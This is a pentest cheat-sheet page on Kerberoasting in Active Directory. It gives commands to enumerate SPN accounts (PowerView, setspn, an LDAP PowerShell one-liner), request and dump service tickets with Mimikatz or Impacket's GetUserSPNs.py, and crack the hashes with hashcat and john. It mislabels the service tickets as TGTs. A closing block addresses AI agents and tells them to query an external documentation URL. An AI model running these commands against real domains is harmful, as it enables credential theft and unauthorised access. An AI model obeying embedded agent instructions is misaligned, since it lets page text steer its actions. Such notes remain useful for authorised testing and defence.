# Kerberoast Send a request to a TGT for a Kerberos token, dump it from memory, crack it locally to obtain access to the target. The TGT can also be used to forge a Silver Ticket and gain access to the service machine. Vulnerable accounts need to have the flag `serverPrincipalName` set. ## Exploit ### Windows machine Vulnerable machines in domain ``` Get-NetUser -SPN | select serviceprincipalname //Powerview setspn -T -Q */* //Builtin ``` Enumerate with LDAP Powershell module ``` $ldapFilter="(&(objectClass=user)(objectCategory=user)(servicePrincipalName=*))";$domain=New-Object System.DirectoryServices.DirectoryEntry;$search=New-Object System.DirectoryServices.DirectorySearcher;$search.SearchRoot=$domain;$search.PageSize=1000;$search.Filter=$ldapFilter;$search.SearchScope="Subtree";$results=$search.FindAll()$Results=foreach($result in $results){$result_entry=$result.GetDirectoryEntry();$result_entry|Select-Object @{Name="Username";Expression={$_.sAMAccountName}},@{Name="SPN";Expression={$_.servicePrincipalName|Select-Object -First 1}}}$Results; ``` Enumerate past remote sessions on local machine ``` klist ``` Request a Service Ticket from the target. The ticket will be stored in memory ``` Add-Type -AssemblyName System.IdentityModel;New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "" ``` Dump the SPN ticket using Mimikatz ``` privilege::debug token::elevate kerberos::list /export ``` ### \*nix machine Get a list of SPN users. Requires a valid user and password or NTLM hash to query the DC ``` GetUserSPNs.py -dc-ip /: -outputfile GetUserSPNs.py -dc-ip -hashes : / -outputfile ``` Dump TGT ``` GetUserSPNs.py /: -dc-ip -request #dump TGTs of current user GetUserSPNs.py -dc-ip / -request-user #dump TGTs of target user ``` ## Crack hash Crack the .kirbi file or hash received from impacket ``` hashcat -m 13100 --force john --format=krb5tgs --wordlist= #requires jumbo version ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://security-notes.gitbook.io/security-notes/active-directory/kerberoast.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.